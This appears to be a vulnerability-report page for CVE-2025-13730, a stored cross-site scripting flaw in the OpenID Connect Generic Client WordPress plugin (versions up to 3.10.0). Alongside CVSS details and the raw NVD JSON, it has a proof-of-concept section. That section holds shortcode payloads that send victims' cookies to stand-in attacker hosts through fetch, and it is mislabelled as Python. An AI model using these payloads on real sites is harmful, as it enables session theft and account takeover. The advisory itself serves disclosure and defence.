Security Vulnerability Report
中文
CVE-2025-13730 CVSS 6.4 MEDIUM

CVE-2025-13730

Published: 2025-12-18 10:16:11
Last Modified: 2026-04-15 00:35:42

Description

The OpenID Connect Generic Client plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'openid_connect_generic_auth_url' shortcode in all versions up to, and including, 3.10.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

OpenID Connect Generic Client plugin for WordPress <= 3.10.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Shortcode XSS PoC for CVE-2025-13730 --> <!-- Attacker with Contributor+ role can inject this shortcode --> <!-- When victim views the page, the XSS will execute --> [openid_connect_generic_auth_url onmouseover="alert(document.cookie)"]Click Here[/openid_connect_generic_auth_url] <!-- Alternative PoC with img onerror handler --> [openid_connect_generic_auth_url]<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>[/openid_connect_generic_auth_url] <!-- Steal admin cookies --> [openid_connect_generic_auth_url onload="fetch('https://evil.com/log?cookie='+btoa(document.cookie))"]Malicious Link[/openid_connect_generic_auth_url]

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13730", "sourceIdentifier": "[email protected]", "published": "2025-12-18T10:16:11.123", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The OpenID Connect Generic Client plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'openid_connect_generic_auth_url' shortcode in all versions up to, and including, 3.10.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/daggerhart-openid-connect-generic/trunk/includes/openid-connect-generic-client-wrapper.php#L241", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/daggerhart-openid-connect-generic/trunk/openid-connect-generic.php#L168", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3418927", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/fe5fd453-b1fc-4d52-bb46-aebd68508891?source=cve", "source": "[email protected]"}]}}